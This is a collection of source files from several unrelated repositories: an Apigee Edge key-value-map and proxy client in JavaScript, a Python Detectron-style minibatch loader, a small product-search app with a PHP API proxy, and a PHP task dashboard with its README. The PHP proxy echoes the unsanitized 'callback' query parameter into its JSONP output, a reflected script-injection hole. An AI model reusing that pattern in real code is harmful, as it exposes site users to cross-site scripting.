// POST :mgmtserver/v1/o/:orgname/e/:env/keyvaluemaps/:mapname/entries/key1
// Authorization: :edge-auth
// content-type: application/json
//
// {
// "name" : "key1",
// "value" : "value_one_updated"
// }
requestOptions.headers['content-type'] = 'application/json';
requestOptions.body = JSON.stringify({ name: options.key, value : options.value });
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200, 201], cb));
}
else {
if (conn.verbosity>0) {
utility.logWrite(body);
}
cb({error: 'bad status', statusCode: response.statusCode });
}
});
}
else {
if (!options.entries && (!options.key || !options.value)) {
throw new Error("missing entries or key/value");
}
// for non-CPS KVM, use a different model to add/update an entry.
//
// POST :mgmtserver/v1/o/:orgname/e/:env/keyvaluemaps/:mapname
// Authorization: :edge-auth
// content-type: application/json
//
// {
// "entry": [ {"name" : "key1", "value" : "value_one_updated" } ],
// "name" : "mapname"
// }
requestOptions.url = urljoin(requestOptions.url, options.kvm);
requestOptions.headers['content-type'] = 'application/json';
var entry = options.entries ?
hashToArrayOfKeyValuePairs(options.entries) :
[{ name: options.key, value : options.value }] ;
requestOptions.body = JSON.stringify({ name: options.kvm, entry: entry });
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200, 201], cb));
}
});
}
Kvm.prototype.get = function(options, cb) {
var conn = this.conn;
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = resolveKvmPath(conn, options);
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
Kvm.prototype.create = function(options, cb) {
// POST :mgmtserver/v1/o/:orgname/e/:env/keyvaluemaps
// Authorization: :edge-auth
// Content-type: application/json
//
// {
// "encrypted" : "false",
// "name" : ":mapname",
// "entry" : [ {
// "name" : "key1",
// "value" : "value_one"
// }, ...
// ]
// }
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Create KVM %s', options.name));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = resolveKvmPath(conn, options);
requestOptions.headers['content-type'] = 'application/json';
requestOptions.body = JSON.stringify({
encrypted : options.encrypted ? "true" : "false",
name : options.name,
entry : options.entries ? hashToArrayOfKeyValuePairs(options.entries) : []
});
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [201], cb));
});
};
Kvm.prototype.put = function(options, cb) {
var conn = this.conn;
if ( ! conn.orgProperties) {
var org = new Organization(conn);
org.getProperties(function(e, result) {
if (e) { return cb(e, result); }
putKvm0(conn, options, cb);
});
}
else {
return putKvm0(conn, options, cb);
}
};
Kvm.prototype.del = function(options, cb) {
// eg,
// DELETE :mgmtserver/v1/o/:orgname/e/:env/keyvaluemaps/:kvmname
// Authorization: :edge-auth
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite(sprintf('Delete KVM %s', options.name));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = resolveKvmPath(conn, options);
requestOptions.url = urljoin(requestOptions.url, options.name);
if (conn.verbosity>0) {
utility.logWrite(sprintf('DELETE %s', requestOptions.url));
}
request.del(requestOptions, commonCallback(conn, [200], cb));
});
};
function ApiProxy(conn) {
this.conn = conn;
}
ApiProxy.prototype.get = function(options, cb) {
var conn = this.conn;
return getDeployableAsset0('apis', conn, options, cb);
};
ApiProxy.prototype.update = function(options, value, cb) {
var conn = this.conn;
return updateDeployableAsset0('apis', conn, options, value, cb);
};
ApiProxy.prototype.getRevisions = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:api/revisions
var conn = this.conn;
return getRevisions0(conn, 'proxy', 'apis', options, cb);
};
ApiProxy.prototype.getDeployments = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:name/revisions/:revision/deployments
// or
// GET :mgmtserver/v1/o/:orgname/apis/:name/deployments
var conn = this.conn;
return getDeployments0(conn, 'proxy', 'apis', options, cb);
};
ApiProxy.prototype.getResourcesForRevision = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:api/revisions/:revision/resources
var conn = this.conn;
return getResourcesForRevision0(conn, 'proxy', 'apis', options, cb);
};
ApiProxy.prototype.getPoliciesForRevision = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:api/revisions/:REV/resources
var conn = this.conn;
return getPoliciesForRevision0(conn, 'proxy', 'apis', options, cb);
};
ApiProxy.prototype.getProxyEndpoints = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:api/revisions/:REV/proxies
var conn = this.conn;
if (!options.name) {
return cb({error:"missing name for apiproxy"});
}
if (!options.revision) {
return cb({error:"missing revision for apiproxy"});
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase, 'apis', options.name, 'revisions', options.revision, 'proxies');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
ApiProxy.prototype.del = function(options, cb) {
// DELETE :mgmtserver/v1/o/:orgname/apis/:name
// or
// DELETE :mgmtserver/v1/o/:orgname/apis/:name/revisions/:revision
var conn = this.conn;
return deleteDeployableAsset0('apis', conn, options, cb);
};
ApiProxy.prototype.deploy = function(options, cb) {
return deployAsset0(this.conn, options, 'apiproxy', cb);
};
ApiProxy.prototype.undeploy = function(options, cb) {
return undeployAsset0(this.conn, options, 'apiproxy', cb);
};
ApiProxy.prototype.export = function(options, cb) {
// GET :mgmtserver/v1/o/:orgname/apis/:name/revisions/:rev?format=bundle
var conn = this.conn;
export0(conn, 'apiproxy', 'apis', options, cb);
};
ApiProxy.prototype.importFromDir = function(options, cb) {
var conn = this.conn;
var srcDir = path.resolve(options.srcDir || options.source);
if (srcDir.endsWith('/apiproxy')) {
srcDir = path.resolve(path.join(srcDir, '..'));
}
// if (conn.verbosity>0) {
// utility.logWrite(sprintf('import proxy %s from dir %s', optionsName, srcDir));
// }
return importAssetFromDir(conn, options.name, 'apiproxy', srcDir, cb);
};
ApiProxy.prototype.importFromZip = function(options, cb) {
// curl -X POST "${mgmtserver}/v1/o/$org/apis?action=import&name=$proxyname" -T $zipname -H "Content-Type: application/octet-stream"
var conn = this.conn;
var source = path.resolve(options.zipArchive || options.source);
if (conn.verbosity>0) {
utility.logWrite(sprintf('import proxy %s from zip %s', options.name, source));
}
return importAssetFromZip(conn, options.name, 'apiproxy', source, cb);
};
ApiProxy.prototype.import = function(options, cb) {
// import from either a zip or a directory.
var conn = this.conn;
return import0(conn, options, 'apiproxy', cb);
};
// Connection properties:
// get
// refreshToken
// getNewToken
// getEnvironments
// proxies { get, deploy, undeploy, del, importFromDir, importFromZip }
// caches { get, create, del }
// kvms { get, create, put, del }
// apps { get }
// sharedflows { deploy, undeploy, importFromDir, importFromZip }
// products { get, create, del}
// developers { get, create, del }
// developerapps { get, create, del }
// appcredentials { add, del }
module.exports = {
connect : _connect
};
}());
| 89b44d5a21a4bdc1379418117b2fcb22410cc217 | [
"JavaScript"
] | 1 | JavaScript | markgh47/apigee-edge-js | 75544822d50ce9e30b86cebd5a2a24f4adc40835 | b6f0d9f2f36437169e594a0502924daef6f7475e |
refs/heads/master | <repo_name>zhang-jiajia123/learn_detectron1<file_sep>/minibatch.py
import rpn as rpn_roi_data
import numpy as np
import cv2
import blob as blob_utils
def get_minibatch_blob_names(is_training=True):
"""Return blob names in the order in which they are read by the data loader.
"""
# data blob: holds a batch of N images, each with 3 channels
blob_names = ['data']
if True: #cfg.RPN.RPN_ON:
# RPN-only or end-to-end Faster R-CNN
blob_names += rpn_roi_data.get_rpn_blob_names(is_training=is_training)
'''
elif False: #cfg.RETINANET.RETINANET_ON:
blob_names += retinanet_roi_data.get_retinanet_blob_names(
is_training=is_training
)
else:
# Fast R-CNN like models trained on precomputed proposals
blob_names += fast_rcnn_roi_data.get_fast_rcnn_blob_names(
is_training=is_training
)
'''
return blob_names
def get_minibatch(roidb):
"""Given a roidb, construct a minibatch sampled from it."""
# We collect blobs from each image onto a list and then concat them into a
# single tensor, hence we initialize each blob to an empty list
blobs = {k: [] for k in get_minibatch_blob_names()}
# Get the input image blob, formatted for caffe2
im_blob, im_scales = _get_image_blob(roidb)
blobs['data'] = im_blob
if True: #cfg.RPN.RPN_ON:
# RPN-only or end-to-end Faster/Mask R-CNN
valid = rpn_roi_data.add_rpn_blobs(blobs, im_scales, roidb)
'''
elif cfg.RETINANET.RETINANET_ON:
im_width, im_height = im_blob.shape[3], im_blob.shape[2]
# im_width, im_height corresponds to the network input: padded image
# (if needed) width and height. We pass it as input and slice the data
# accordingly so that we don't need to use SampleAsOp
valid = retinanet_roi_data.add_retinanet_blobs(
blobs, im_scales, roidb, im_width, im_height
)
else:
# Fast R-CNN like models trained on precomputed proposals
valid = fast_rcnn_roi_data.add_fast_rcnn_blobs(blobs, im_scales, roidb)
'''
return blobs, valid
SCALES = (600, )
PIXEL_MEANS = np.array([[[102.9801, 115.9465, 122.7717]]])
MAX_SIZE = 1000
def _get_image_blob(roidb):
"""Builds an input blob from the images in the roidb at the specified
scales.
"""
num_images = len(roidb)
# Sample random scales to use for each image in this batch
scale_inds = np.random.randint(
0, high=len(SCALES), size=num_images
)
processed_ims = []
im_scales = []
for i in range(num_images):
im = cv2.imread(roidb[i]['image'])
assert im is not None, \
'Failed to read image \'{}\''.format(roidb[i]['image'])
if roidb[i]['flipped']:
im = im[:, ::-1, :]
target_size = SCALES[scale_inds[i]]
im, im_scale = blob_utils.prep_im_for_blob(
im, PIXEL_MEANS, target_size, MAX_SIZE
)
im_scales.append(im_scale)
processed_ims.append(im)
# Create a blob to hold the input images
blob = blob_utils.im_list_to_blob(processed_ims)
return blob, im_scales
<file_sep>/README.md
# learn_detectron1
To study detectron1 we do some test in our dataset.
<file_sep>/boxes.py
import numpy as np
def bbox_transform_inv(boxes, gt_boxes, weights=(1.0, 1.0, 1.0, 1.0)):
"""Inverse transform that computes target bounding-box regression deltas
given proposal boxes and ground-truth boxes. The weights argument should be
a 4-tuple of multiplicative weights that are applied to the regression
target.
In older versions of this code (and in py-faster-rcnn), the weights were set
such that the regression deltas would have unit standard deviation on the
training dataset. Presently, rather than computing these statistics exactly,
we use a fixed set of weights (10., 10., 5., 5.) by default. These are
approximately the weights one would get from COCO using the previous unit
stdev heuristic.
"""
ex_widths = boxes[:, 2] - boxes[:, 0] + 1.0
ex_heights = boxes[:, 3] - boxes[:, 1] + 1.0
ex_ctr_x = boxes[:, 0] + 0.5 * ex_widths
ex_ctr_y = boxes[:, 1] + 0.5 * ex_heights
gt_widths = gt_boxes[:, 2] - gt_boxes[:, 0] + 1.0
gt_heights = gt_boxes[:, 3] - gt_boxes[:, 1] + 1.0
gt_ctr_x = gt_boxes[:, 0] + 0.5 * gt_widths
gt_ctr_y = gt_boxes[:, 1] + 0.5 * gt_heights
wx, wy, ww, wh = weights
targets_dx = wx * (gt_ctr_x - ex_ctr_x) / ex_widths
targets_dy = wy * (gt_ctr_y - ex_ctr_y) / ex_heights
targets_dw = ww * np.log(gt_widths / ex_widths)
targets_dh = wh * np.log(gt_heights / ex_heights)
targets = np.vstack((targets_dx, targets_dy, targets_dw,
targets_dh)).transpose()
return targets
def bbox_overlaps(boxes, query_boxes):
"""
Parameters
----------
np.ndarray[DTYPE_t, ndim=2] boxes,
np.ndarray[DTYPE_t, ndim=2] query_boxes
boxes: (N, 4) ndarray of float
query_boxes: (K, 4) ndarray of float
Returns
-------
overlaps: (N, K) ndarray of overlap between boxes and query_boxes
"""
'''
cdef unsigned int N = boxes.shape[0]
cdef unsigned int K = query_boxes.shape[0]
cdef np.ndarray[DTYPE_t, ndim=2] overlaps = np.zeros((N, K), dtype=DTYPE)
cdef DTYPE_t iw, ih, box_area
cdef DTYPE_t ua
cdef unsigned int k, n
'''
N = boxes.shape[0]
K = query_boxes.shape[0]
overlaps = np.zeros((N, K), dtype=np.float32)
for k in range(K):
box_area = (
(query_boxes[k, 2] - query_boxes[k, 0] + 1) *
(query_boxes[k, 3] - query_boxes[k, 1] + 1)
)
for n in range(N):
iw = (
min(boxes[n, 2], query_boxes[k, 2]) -
max(boxes[n, 0], query_boxes[k, 0]) + 1
)
if iw > 0:
ih = (
min(boxes[n, 3], query_boxes[k, 3]) -
max(boxes[n, 1], query_boxes[k, 1]) + 1
)
if ih > 0:
ua = float(
(boxes[n, 2] - boxes[n, 0] + 1) *
(boxes[n, 3] - boxes[n, 1] + 1) +
box_area - iw * ih
)
overlaps[n, k] = iw * ih / ua
return overlaps
<file_sep>/anchor.py
import numpy as np
import os
import json
import time
import matplotlib.pyplot as plt
from matplotlib.collections import PatchCollection
from matplotlib.patches import Polygon
import numpy as np
import copy
import itertools
#from . import mask as maskUtils
import os
from collections import defaultdict
import sys
import scipy.sparse
import Segms
import bbox
from COCO import COCO
from JsonDataset import JsonDataset
dataset_name = 'wheat2019_anchor_test.json'
ds = JsonDataset(dataset_name)
roidb = ds.get_roidb(
gt=True
)
print(roidb)<file_sep>/data_utils.py
from collections import namedtuple
import numpy as np
from generate_anchors import generate_anchors
import boxes
# octave and aspect fields are only used on RetinaNet. Octave corresponds to the
# scale of the anchor and aspect denotes which aspect ratio is used in the range
# of aspect ratios
FieldOfAnchors = namedtuple(
'FieldOfAnchors', [
'field_of_anchors', 'num_cell_anchors', 'stride', 'field_size',
'octave', 'aspect'
]
)
COARSEST_STRIDE = 32
MAX_SIZE = 1000
def get_field_of_anchors(
stride, anchor_sizes, anchor_aspect_ratios, octave=None, aspect=None
):
# Anchors at a single feature cell
cell_anchors = generate_anchors(
stride=stride, sizes=anchor_sizes, aspect_ratios=anchor_aspect_ratios
)
num_cell_anchors = cell_anchors.shape[0]
# Generate canonical proposals from shifted anchors
# Enumerate all shifted positions on the (H, W) grid
fpn_max_size = COARSEST_STRIDE * np.ceil(
MAX_SIZE / float(COARSEST_STRIDE)
)
field_size = int(np.ceil(fpn_max_size / float(stride)))
shifts = np.arange(0, field_size) * stride
shift_x, shift_y = np.meshgrid(shifts, shifts)
shift_x = shift_x.ravel()
shift_y = shift_y.ravel()
shifts = np.vstack((shift_x, shift_y, shift_x, shift_y)).transpose()
# Broacast anchors over shifts to enumerate all anchors at all positions
# in the (H, W) grid:
# - add A cell anchors of shape (1, A, 4) to
# - K shifts of shape (K, 1, 4) to get
# - all shifted anchors of shape (K, A, 4)
# - reshape to (K*A, 4) shifted anchors
A = num_cell_anchors
K = shifts.shape[0]
field_of_anchors = (
cell_anchors.reshape((1, A, 4)) +
shifts.reshape((1, K, 4)).transpose((1, 0, 2))
)
field_of_anchors = field_of_anchors.reshape((K * A, 4))
foa = FieldOfAnchors(
field_of_anchors=field_of_anchors.astype(np.float32),
num_cell_anchors=num_cell_anchors,
stride=stride,
field_size=field_size,
octave=octave,
aspect=aspect
)
return foa
def compute_targets(ex_rois, gt_rois, weights=(1.0, 1.0, 1.0, 1.0)):
"""Compute bounding-box regression targets for an image."""
return boxes.bbox_transform_inv(ex_rois, gt_rois, weights).astype(
np.float32, copy=False
)
def unmap(data, count, inds, fill=0):
"""Unmap a subset of item (data) back to the original set of items (of
size count)"""
if count == len(inds):
return data
if len(data.shape) == 1:
ret = np.empty((count, ), dtype=data.dtype)
ret.fill(fill)
ret[inds] = data
else:
ret = np.empty((count, ) + data.shape[1:], dtype=data.dtype)
ret.fill(fill)
ret[inds, :] = data
return ret<file_sep>/blob.py
import cv2
import numpy as np
from six.moves import cPickle as pickle
def prep_im_for_blob(im, pixel_means, target_size, max_size):
"""Prepare an image for use as a network input blob. Specially:
- Subtract per-channel pixel mean
- Convert to float32
- Rescale to each of the specified target size (capped at max_size)
Returns a list of transformed images, one for each target size. Also returns
the scale factors that were used to compute each returned image.
"""
im = im.astype(np.float32, copy=False)
im -= pixel_means
im_shape = im.shape
im_size_min = np.min(im_shape[0:2])
im_size_max = np.max(im_shape[0:2])
im_scale = float(target_size) / float(im_size_min)
# Prevent the biggest axis from being more than max_size
if np.round(im_scale * im_size_max) > max_size:
im_scale = float(max_size) / float(im_size_max)
im = cv2.resize(
im,
None,
None,
fx=im_scale,
fy=im_scale,
interpolation=cv2.INTER_LINEAR
)
return im, im_scale
COARSEST_STRIDE = 32
def im_list_to_blob(ims):
"""Convert a list of images into a network input. Assumes images were
prepared using prep_im_for_blob or equivalent: i.e.
- BGR channel order
- pixel means subtracted
- resized to the desired input size
- float32 numpy ndarray format
Output is a 4D HCHW tensor of the images concatenated along axis 0 with
shape.
"""
if not isinstance(ims, list):
ims = [ims]
max_shape = np.array([im.shape for im in ims]).max(axis=0)
# Pad the image so they can be divisible by a stride
if True: #cfg.FPN.FPN_ON:
stride = float(COARSEST_STRIDE)
max_shape[0] = int(np.ceil(max_shape[0] / stride) * stride)
max_shape[1] = int(np.ceil(max_shape[1] / stride) * stride)
num_images = len(ims)
blob = np.zeros(
(num_images, max_shape[0], max_shape[1], 3), dtype=np.float32
)
for i in range(num_images):
im = ims[i]
blob[i, 0:im.shape[0], 0:im.shape[1], :] = im
# Move channels (axis 3) to axis 1
# Axis order will become: (batch elem, channel, height, width)
channel_swap = (0, 3, 1, 2)
blob = blob.transpose(channel_swap)
return blob
def serialize(obj):
"""Serialize a Python object using pickle and encode it as an array of
float32 values so that it can be feed into the workspace. See deserialize().
"""
return np.fromstring(pickle.dumps(obj), dtype=np.uint8).astype(np.float32)<file_sep>/loader.py
from collections import deque
from collections import OrderedDict
import logging
import numpy as np
import signal
#import threading
import time
import uuid
from six.moves import queue as Queue
import minibatch
IMS_PER_BATCH = 2
class RoIDataLoader(object):
def __init__(
self,
roidb,
num_loaders=4,
minibatch_queue_size=64,
blobs_queue_capacity=8
):
self._roidb = roidb
#self._lock = threading.Lock()
self._perm = deque(range(len(self._roidb)))
self._cur = 0 # _perm cursor
# The minibatch queue holds prepared training data in host (CPU) memory
# When training with N > 1 GPUs, each element in the minibatch queue
# is actually a partial minibatch which contributes 1 / N of the
# examples to the overall minibatch
self._minibatch_queue = Queue.Queue(maxsize=minibatch_queue_size)
self._blobs_queue_capacity = blobs_queue_capacity
# Random queue name in case one instantiates multple RoIDataLoaders
self._loader_id = uuid.uuid4()
self._blobs_queue_name = 'roi_blobs_queue_{}'.format(self._loader_id)
# Loader threads construct (partial) minibatches and put them on the
# minibatch queue
self._num_loaders = num_loaders
self._num_gpus = 1
#self.coordinator = Coordinator()
self._output_names = minibatch.get_minibatch_blob_names()
self._shuffle_roidb_inds()
self.create_threads()
def _shuffle_roidb_inds(self):
"""Randomly permute the training roidb. Not thread safe."""
if True: #cfg.TRAIN.ASPECT_GROUPING:
widths = np.array([r['width'] for r in self._roidb])
heights = np.array([r['height'] for r in self._roidb])
horz = (widths >= heights)
vert = np.logical_not(horz)
horz_inds = np.where(horz)[0]
vert_inds = np.where(vert)[0]
horz_inds = np.random.permutation(horz_inds)
vert_inds = np.random.permutation(vert_inds)
mb = 2 #cfg.TRAIN.IMS_PER_BATCH
horz_inds = horz_inds[:(len(horz_inds) // mb) * mb]
vert_inds = vert_inds[:(len(vert_inds) // mb) * mb]
inds = np.hstack((horz_inds, vert_inds))
inds = np.reshape(inds, (-1, mb))
row_perm = np.random.permutation(np.arange(inds.shape[0]))
inds = np.reshape(inds[row_perm, :], (-1, ))
self._perm = inds
else:
self._perm = np.random.permutation(np.arange(len(self._roidb)))
self._perm = deque(self._perm)
self._cur = 0
def create_threads(self):
# Create mini-batch loader threads, each of which builds mini-batches
# and places them into a queue in CPU memory
self.minibatch_loader_thread()
enqueue_blob_names = self.create_blobs_queues()
self.enqueue_blobs_thread(1, enqueue_blob_names)
def minibatch_loader_thread(self):
"""Load mini-batches and put them onto the mini-batch queue."""
blobs = self.get_next_minibatch()
ordered_blobs = OrderedDict()
for key in self.get_output_names():
ordered_blobs[key] = blobs[key]
def get_output_names(self):
return self._output_names
def create_blobs_queues(self):
return self.create_enqueue_blobs()
def create_enqueue_blobs(self):
blob_names = self.get_output_names()
enqueue_blob_names = [
'{}_enqueue_{}'.format(b, self._loader_id) for b in blob_names
]
return enqueue_blob_names
def enqueue_blobs_thread(self, gpu_id, blob_names):
return
def get_next_minibatch(self):
"""Return the blobs to be used for the next minibatch. Thread safe."""
valid = False
while not valid:
db_inds = self._get_next_minibatch_inds()
minibatch_db = [self._roidb[i] for i in db_inds]
blobs, valid = minibatch.get_minibatch(minibatch_db)
return blobs
def _get_next_minibatch_inds(self):
"""Return the roidb indices for the next minibatch. Thread safe."""
# We use a deque and always take the *first* IMS_PER_BATCH items
# followed by *rotating* the deque so that we see fresh items
# each time. If the length of _perm is not divisible by
# IMS_PER_BATCH, then we end up wrapping around the permutation.
db_inds = [self._perm[i] for i in range(IMS_PER_BATCH)]
self._perm.rotate(-IMS_PER_BATCH)
self._cur += IMS_PER_BATCH
if self._cur >= len(self._perm):
self._shuffle_roidb_inds()
return db_inds | ad9ed0c0eedacbf19a7f191270958325f5599e98 | [
"Markdown",
"Python"
] | 7 | Python | zhang-jiajia123/learn_detectron1 | 936701dbe764510d39a1c72adefba9be1a73de24 | f3e72167979f0115c90fe4306f570e7990abafea |
refs/heads/master | <file_sep>var api_url = "api.php?";
$(document).ready(function() {
index();
});
var index = function() {
var html = new EJS({
url: 'templates/index.ejs'
}).render({});
$("body").html(html)
$(".searchButton").on("click", function() {
var q = $(".searchQuery").val();
$.get(api_url + "q=" + q, function(data) {
console.log(data)
// normalize a single result into the array
var entity = data.entities.entity;
window.products = [];
if (entity.length > 0)
products = entity;
else {
products.push(entity);
}
searchResults(products);
});
});
}
var searchResults = function(products) {
var html = new EJS({
url: 'templates/results.ejs'
}).render({});
$("body").html(html)
products.forEach(function(el, index, arr) {
// console.log(arguments)
var html = new EJS({
url: 'templates/productlistitem.ejs'
}).render({
id: el["id"],
image: el["image-url"],
name: el["name"],
value: el["rating"].value
});
$(".results").append(html);
$(".product-list-item").on("click", function() {
productView( $(this).data("id") );
});
});
}
var productView = function(productId) {
$.get(api_url + "id=" + productId, function(data) {
console.log(data.entities.entity)
var el = data.entities.entity;
var html = new EJS({
url: 'templates/productview.ejs'
}).render({
name: el["name"] || "",
image: el["image-url"] || "",
value: el["value"] || "",
overall: el.rating.value || "",
health: el.rating["sub-ratings"].rating[0].value || "",
env: el.rating["sub-ratings"].rating[1].value || "",
society: el.rating["sub-ratings"].rating[2].value
});
$("body").html(html);
})
}
<file_sep><?php
header('content-type: application/json; charset=utf-8');
$q = $_GET['q'];
$id = $_GET['id'];
$url = "http://api.goodguide.com/search.xml?api_key=<KEY>&api_version=1.0&api_format=simple";
$req = $url . "&q=" . $q;
if (isset($id))
$req = $url . "&id=" . $id;
$ch = curl_init($req);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_FAILONERROR,1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/xml'));
$output = curl_exec($ch);
$xml = simplexml_load_string($output);
$json = json_encode($xml);
echo isset($_GET['callback'])
? "{$_GET['callback']}($json)"
: $json;
?><file_sep>green-guide
===========
TampaDev Quarterly Hackathon Entry | 116024dc11f757b534e6e519275c9a5f1175a6cf | [
"JavaScript",
"Markdown",
"PHP"
] | 3 | JavaScript | luqmaan/green-guide | 6a0fe2b4470ab5c3e3450e406d01c9e6867edd0d | a63f32207fc1909d6a994b4fd169b40dfe6fb577 |
refs/heads/main | <repo_name>lithiferous/py-tail<file_sep>/tailor.py
from io import BytesIO
import argparse
import os
import sys
import time
LINES = 10
SLEEP = 1.0
class TailError(Exception):
def __init__(self, msg):
self.message = msg
def __str__(self):
return self.message
class Tailor:
def __init__(self, filename, bytes_num, follow, lines_num, sleep_val):
self.buf = None
self.curpos = None
self.bytes_num = bytes_num
self.file = filename
self.follow = follow
self.lines_num = lines_num
self.sleep_val = sleep_val
self.callback = sys.stdout.buffer.write
self.tester = self.check_file(filename)
def _get_first_byte(self):
'''finds starting byte by looping back from the EOF'''
lines = 0
with open(self.file, 'rb') as f:
f.seek(-2, 2)
while True:
while f.read(1) != b"\n":
f.seek(-2, 1)
lines += 1
if lines == self.lines_num:
break
f.seek(-2, 1)
return f.tell()
def _get_curpos(self):
'''assigns curpos'''
if self.bytes_num is not None:
self.curpos = self.bytes_num
else:
self.curpos = self._get_first_byte()
def _reader(self, f):
self._get_curpos()
f.seek(self.curpos)
return f.read()
def _reader_buf(self, f):
self.buf = BytesIO(self._reader(f))
self.callback(self.buf.read())
sys.stdout.flush()
while True:
mstd = BytesIO(self._reader(f))
if mstd.getvalue() != self.buf.getvalue():
self.buf = mstd
self.callback(self.buf.read())
sys.stdout.flush()
time.sleep(self.sleep_val)
def run(self):
with open(self.file, 'rb') as f:
if self.follow:
self._reader_buf(f)
else:
self.callback(self._reader(f))
def check_file(self, f_):
''' Check whether the a given file exists, readable and is a file '''
if not os.access(f_, os.F_OK):
raise TailError("File '%s' does not exist" % (f_))
if not os.access(f_, os.R_OK):
raise TailError("File '%s' not readable" % (f_))
if os.path.isdir(f_):
raise TailError("File '%s' is a directory" % (f_))
if __name__ == '__main__':
p = argparse.ArgumentParser()
p.add_argument('filenames',
type = str,
nargs = '*')
p.add_argument('-c',
'--bytes',
dest = 'bytes_num',
type = int,
default = None,
help = "output starting with a byte NUM of each file")
p.add_argument('-f',
'--follow',
dest = 'follow',
action = 'store_true',
help = "output appended data")
p.add_argument('-n',
'--lines',
dest = "lines_num",
type = int,
default = LINES,
help = "output last NUM lines")
p.add_argument('-s',
'--sleep-interval',
dest = "sleep_val",
type = float,
default = SLEEP,
help = "with -f option - sleep N seconds before check")
args = p.parse_args()
for f in args.filenames:
Tailor(f, args.bytes_num,
args.follow,
args.lines_num,
args.sleep_val).run()
| a6878757910e53fb203756c7228349b42a36cc98 | [
"Python"
] | 1 | Python | lithiferous/py-tail | 61315c32e009b023b885e6f9bb71dce938b8a508 | 325a46a1cfc10d03afbff49340eb8fde0a85c4d2 |
refs/heads/master | <file_sep># https://Levandovski.github.io
My Web Site Voxus - <NAME>
# Instruções para utilização do sistema.
# O sistema deve ser executado localmente.
# Antes de iniciar o sistema é necessário executar o script do banco de dados no WampServer. O script se encontra dentro da pasta dao, com o nome banco_de_dados_tarefas.txt. Basta importar o arquivo no wamp e executá-lo ou copiar e colocar no wamp.
# Dentro do projeto na pasta dao no arquivo conexao.php é necessário caso haja necessidade trocar o nome do usuário do wamp ($username="root") para o o usuário que está configurado a máquina local e da mesma forma com a senha ($password="").
# O sistema inicia na tela de Login.
# Faça Login utilizando uma conta do google.
# Dentro do sistema ao clicar em logout, caso queira logar de novo no sistema com outra conta é necessário sair do gmail.
# Inicio do teste: 04/12.
# Segunda-feira: Das 15:54 até às 18:00 preparação do ambiente de desenvolvimento e planejamento do sistema.
# Terça-feira: Das 13:00 até às 16:00 para desenvolver os layouts.
# Quarta-feira: Das 14:00 até às 20:00 para desenvolver as telas cadastrar, alterar, excluir e listar.
# Quinta-feira: Das 09:00 até às 20:00 para iniciar o desenvolvimento da tela de login e também ajustes nas outras telas do sistema.
# Sexta-feira: Das 14:00 até às 15:30 para concluir a tela de login.
# Sábado: Das 14:00 até às 15:00 inclusão da parte 4 do teste.
# Segunda-feira ajustes e testes no sistema para entregá-lo.
# Principais dificuldades:
# Se adaptar na utilização do PDO para utilização do banco de dados;
# Implementar anexos múltiplos no sistema;
# Desenvolver login com o google.
<file_sep><?php
//Verificando se a sessão esta aberta
session_start();
if(!empty($_SESSION['login']) && $_SESSION['login']==true){
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="<NAME>" content="">
<title>Dashboard My System</title>
<!-- Bootstrap core CSS -->
<link href="bootstrap-3.3.5-dist/css/bootstrap.min.css" rel="stylesheet">
<!-- CSS personalizado -->
<link href="bootstrap-3.3.5-dist/css/signin.css" rel="stylesheet">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="stylesheet" href="estilo.css"/>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Pacifico" rel="stylesheet">
<meta name="google-signin-client_id" content="633890497367-m2qjt6tqgv3f6eoon10umg9vp25v5n68.apps.googleusercontent.com">
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/funcao.js"></script>
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand s" href="#">Dashboard My System</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="active s"><a href="inicio.php">Início</a></li>
<li class="s"><a href="cadastrar.php">Nova Tarefa</a></li>
<li class="s"><a href="alterar.php">Alterar Tarefa</a></li>
<li class="s"><a href="listar.php">Listar Tarefas</a></li>
<li class="s"><a href="excluir.php">Excluir Tarefa</a></li>
</ul>
<form class="navbar-form navbar-right">
<div class="form-group">
<input type="text" placeholder="text" class="form-control" disabled value="<?=$_SESSION['userName'];?>">
</div>
